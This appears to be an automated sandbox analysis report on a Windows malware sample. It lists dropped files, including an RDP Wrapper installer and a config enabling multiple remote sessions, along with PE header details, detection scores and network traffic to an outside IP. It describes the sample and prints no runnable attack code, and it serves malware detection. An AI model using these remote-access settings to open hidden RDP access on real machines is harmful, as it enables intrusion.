Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	Generic INItialization configuration [SLPolicy]
Category:	dropped
Size (bytes):	443552
Entropy (8bit):	5.4496544667416975
Encrypted:	false
SSDEEP:	768:DUoDQVQpXQq4WDi9SUnpB8fbQnxJcy8RMFdKKb8x8Rr/d6gl/+f8jZ0ftlFn4m7Y:TJGYS33L+MUIiG4IvREWddadl/Fy/k9c
MD5:	92BC5FEDB559357AA69D516A628F45DC
SHA1:	6468A9FA0271724E70243EAB49D200F457D3D554
SHA-256:	85CD5CD634FA8BBBF8D71B0A7D49A58870EF760DA6D6E7789452CAE4CAB28127
SHA-512:	87E210E22631C1A394918859213140A7C54B75AEC9BBC4F44509959D15CFA14ABCBFEB1ADF9CFFA11B2E88F84A8708F67E842D859E63394B7F6036CE934C3CC9
Malicious:	false
Preview:	; RDP Wrapper Library configuration..; Do not modify without special knowledge..; Edited by sebaxakerhtc....[Main]..Updated=2024-09-25..LogFile=\rdpwrap.txt..SLPolicyHookNT60=1..SLPolicyHookNT61=1....[SLPolicy]..TerminalServices-RemoteConnectionManager-AllowRemoteConnections=1..TerminalServices-RemoteConnectionManager-AllowMultipleSessions=1..TerminalServices-RemoteConnectionManager-AllowAppServerMode=1..TerminalServices-RemoteConnectionManager-AllowMultimon=1..TerminalServices-RemoteConnectionManager-MaxUserSessions=0..TerminalServices-RemoteConnectionManager-ce0ad219-4670-4988-98fb-89b14c2f072b-MaxSessions=0..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-MaxSessions=2..TerminalServices-RDP-7-Advanced-Compression-Allowed=1..TerminalServices-RemoteConnectionManager-45344fe7-00e6-4ac6-9f01-d01fd4ffadfb-LocalOnly=0..TerminalServices-RemoteConnectionManager-8dc86f1d-9969-4379-91c1-06fe1dc60575-MaxSessions=1000..TerminalServices-DeviceRedirection-Licenses-TS

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_PQZFFJEVUNE1ASJZ_c565d4165b1cddd54ce69fdd41ea3e96af170_6949917b_04e90f10-59e5-485a-8fbc-2e65a023bd0f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2018820499323044
Encrypted:	false
SSDEEP:	192:l+fXFiSRFf0BU/qaWc+LyVkzuiFhZ24IO87:wYSIBU/qafcukzuiFhY4IO87
MD5:	32991B0496678D5AF9FD65F67AAC020B
SHA1:	264E9A8153468A5B414FB6D72953AB4180B7BA06
SHA-256:	FCFF70DCF81770B1CCE1B6249F1FADB2CFE385F29430A93E3B63E726EFC46C1E
SHA-512:	09689FDE0FD7E3369E35AB7B6E9F209606E4CC42F08EB09BB08B4A8C6DD649E7F0406A5C180163283EE1957380710969695A73884065D313EF0D9D1B174F6DFD
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.2.4.6.6.0.4.9.8.6.0.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.2.4.6.6.1.0.2.9.8.5.2.4.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.0.4.e.9.0.f.1.0.-.5.9.e.5.-.4.8.5.a.-.8.f.b.c.-.2.e.6.5.a.0.2.3.b.d.0.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.9.9.2.d.6.4.9.-.3.2.c.6.-.4.b.2.d.-.9.f.5.9.-.c.2.9.f.5.7.6.7.e.a.4.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.S.e.c.u.r.i.t.e.I.n.f.o...c.o.m...W.i.n.3.2...M.a.l.w.a.r.e.X.-.g.e.n...1.6.3.9.5...2.3.7.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.D.P.C.r.e.a.t.o.r...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.4.4.-.0.0.0.1.-.0.0.1.4.-.d.7.b.9.-.8.3.b.6.2.1.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.6.f.e.a.c.d.6.b.1.6.0.0.0.4.d.5.0.b.c.1.5.4.6.8.b.1.b.c.3.d.e.0.0.0.0.0.0.0.0.!.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7437.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Oct 8 01:31:00 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	380341
Entropy (8bit):	3.2563959260196413
Encrypted:	false
SSDEEP:	3072:mN+SLROjZ2Lc4uEqSyZp4LTgyeF0kbZhC1F:mNrNOjILc43yZ0TgPF0k4
MD5:	61C9F6C98C2386EA58783A51469BB2A0
SHA1:	6032B12BFDBFEA9A7D2C1EC3C7E1CDBB8C8D7408
SHA-256:	99FEAA69630EC2BF3DF79F507AD324DCD4669E6A51737EA56FA33CA2885958B7
SHA-512:	1F86051E4EA1E1E7C4D08D7DFC9BC36F99335121534F502D7028B4C85A60816585F28D3026611126816C7C374EF8807F4E423412C6D0B96AEEFF4B753DF30653
Malicious:	false
Preview:	MDMP..a..... .......T..g....................................<....).........D...........`.......8...........T............a...l..........,...........,..............................................................................eJ.......,......GenuineIntel............T.......D...L..g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7581.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8502
Entropy (8bit):	3.7023559555371683
Encrypted:	false
SSDEEP:	192:R6l7wVeJ47686Y9USUl1gmfZOwzpr3q89bcgsfRfl0m:R6lXJ0686YOSUl1gmfldczfN
MD5:	A41CF9F85FED935F9A356FF2EE1343AC
SHA1:	44C522267B96F9A4CB0396738923BB65828EADB3
SHA-256:	326AED5BDF7A7242AAB5E050F366937AA4CBB94F465FFDE805DAE284B9F3A990
SHA-512:	BE01EC7F7614EDE323B10F3D715190A41C4B6A4BDEAD804F14FB58F7E61E886058BB1604008382F3F88A48675DC3B8873E3D1B809FC87A51E3D394036C98FF7E
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.6.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER75A1.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4896
Entropy (8bit):	4.5737246520711095
Encrypted:	false
SSDEEP:	48:cvIwWl8zsAJg77aI9B7SWpW8VY6Ym8M4Jz3Fw+q8vkFKuQNNd:uIjfGI7L7z7VqJOK2KFNNd
MD5:	ED469E14AD97BAECA43472FB67FBBF39
SHA1:	970252D4E2F41E9AEA7C58557EFE2116D58E7566
SHA-256:	B957988384C38378FF5324C040E5B59A375D5B7A4FB74FCA4F97F1248B972BEC
SHA-512:	A810C82BFB15D459955F56A227A038A24DD9B70C114BB93B26B1D8B694285249A04CB9DF709A6E9D1AA1AE1F78F51765DCD94098DCE345CAB3DAA402FD79E789
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533793" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1785344
Entropy (8bit):	6.646511331349125
Encrypted:	false
SSDEEP:	24576:+rKxoVT2iXc+IZP+6WiaTAsN/3ebTvK+63CWH8iA/iD2hgPjcC8SVdKumYr7:vHZGpdqYH8ia6GcKuR7
MD5:	C213162C86BB943BCDF91B3DF381D2F6
SHA1:	8EC200E2D836354A62F16CDB3EED4BB760165425
SHA-256:	AC91B2A2DB1909A2C166E243391846AD8D9EDE2C6FCFD33B60ACF599E48F9AFC
SHA-512:	B3EAD28BB1F4B87B0C36C129864A8AF34FC11E5E9FEAA047D4CA0525BEC379D07C8EFEE259EDE8832B65B3C03EF4396C9202989249199F7037D56439187F147B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RDPWrapTool, Description: Yara detected RDPWrap Tool, Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68% Antivirus: Virustotal, Detection: 78%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...#.CZ.................4..........<7.......P....@..............................................@...................................`...{.......................^...................................................................................text... ........................... ..`.itext..\|....0... .................. ..`.data...x....P.......8..............@....bss.....O...p.......L...................idata...............L..............@....tls.................`...................rdata...............`..............@..@.reloc...^.......`...b..............@..B.rsrc....{...`...\|..................@..@.............p......................@..@................................................................................................

C:\Windows\System32\rfxvmt.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\RDPWInst.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	37376
Entropy (8bit):	5.7181012847214445
Encrypted:	false
SSDEEP:	768:2aS6Ir6sXJaE5I2IaK3knhQ0NknriB0dX5mkOpw:aDjDtKA0G0j5Opw
MD5:	E3E4492E2C871F65B5CEA8F1A14164E2
SHA1:	81D4AD81A92177C2116C5589609A9A08A5CCD0F2
SHA-256:	32FF81BE7818FA7140817FA0BC856975AE9FCB324A081D0E0560D7B5B87EFB30
SHA-512:	59DE035B230C9A4AD6A4EBF4BEFCD7798CCB38C7EDA9863BC651232DB22C7A4C2D5358D4D35551C2DD52F974A22EB160BAEE11F4751B9CA5BF4FB6334EC926C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........qc..qc..qc......qc...`..qc...g..qc..qb..qc...b..qc...f..qc...c..qc...j..qc......qc...a..qc.Rich.qc.................PE..d...#............." .....Z...>.......]...............................................a....`A.........................................~..........@...............................\... x..T............................p...............q..P............................text....Y.......Z.................. ..`.rdata.......p.......^..............@..@.data...P............z..............@....pdata...............\|..............@..@.rsrc...............................@..@.reloc..\...........................@..B........................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465763020237221
Encrypted:	false
SSDEEP:	6144:aIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNxdwBCswSbM:vXD94+WlLZMM6YFHP+M
MD5:	BCB4CD0E537A8DFFB647261E44132AF1
SHA1:	CBD684DF944D683519E8AB8AF0F6D42980581B31
SHA-256:	DFF84F36BCA4A58320B59B386A085789EC1AC8E4B8734A8439A38B6E63ADB706
SHA-512:	9551AE823B976DB8EE8C68AA5B11E57CEA4073EDDDF2F6816F7E3FFEB4AD17C8E331B9E541514F930B3B26EAF4B9D85B7169960038FED05E03131B76DDD60F31
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..B.!...............................................................................................................................................................................................................................................................................................................................................YuU.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.320178905368983
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	SecuriteInfo.com.Win32.MalwareX-gen.16395.23732.exe
File size:	12'800 bytes
MD5:	5057d16e9fb573fb3924b9c3dba53260
SHA1:	ea177b2f35ca01d2e128bd876e56a548c3f69007
SHA256:	06e0a0da4cabec34eeb742c985b969260256aa15b50e14fddcc12eee7ac52fd2
SHA512:	af4a46df974f2bdcff52bdda48d5a7440d8b022f919c2107d4f719fd6ee8a801341950420dd213fb062b67a4d11f480d9057a6363c81025cd477a5ab37b868db
SSDEEP:	384:hE8XjVVt/97YdaQ5QFcWqUM6kYcV63UiJFnh:HzftmgQKdQYcV6kizh
TLSH:	2D42090093E50076E639527E65255B0AAFB3D57F3D0797AF384C592E3FB219082137EA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Oi............"...0............."6... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x403622
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF215694F [Sat Sep 13 23:31:27 2098 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x35d0	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x141c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3530	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x1628	0x1800	8069dbd47fbf6830d6c48ad5d9db9c27	False	0.5305989583333334	data	5.127352070786765	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x141c	0x1600	f7d8ee7ab3d5878618789117b3cb15f1	False	0.3737571022727273	data	5.288126044255427	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	c0861df6173ac6f99708190d2e19c6c8	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x4090	0x254	data			0.45805369127516776
RT_MANIFEST	0x42f4	0x1123	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.4043765671301573

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:30:54.014223099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.019233942 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.019306898 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.022650003 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.027539015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663557053 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663614988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663650990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663681030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.663685083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663722038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663739920 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.663757086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663790941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663800955 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.663821936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663856983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663870096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.663894892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.663939953 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.669291019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.669342041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.669384003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.669394016 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.669455051 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.669511080 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.754132986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.754156113 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.754173040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.754189014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.754317999 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.754317999 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.758899927 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.758936882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.758970976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.758999109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.759008884 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.759063959 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.763711929 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.763751030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.763788939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.763798952 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.763825893 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.763859987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.763873100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.768505096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.768529892 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.768537998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.768546104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.768670082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.774183035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.774200916 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.774214983 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.774230003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.774239063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.774250031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.774296999 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.774514914 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.778904915 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.822458029 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.844543934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.844568968 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.844588041 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.844604015 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.844669104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.847446918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.849214077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.849239111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.849256039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.849284887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.849379063 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.853976011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.854012012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.854027987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.854044914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.854060888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.854064941 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.854090929 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:54.858691931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:54.858711958 CEST	80	49730	147.45.44.104	192.168.2.4
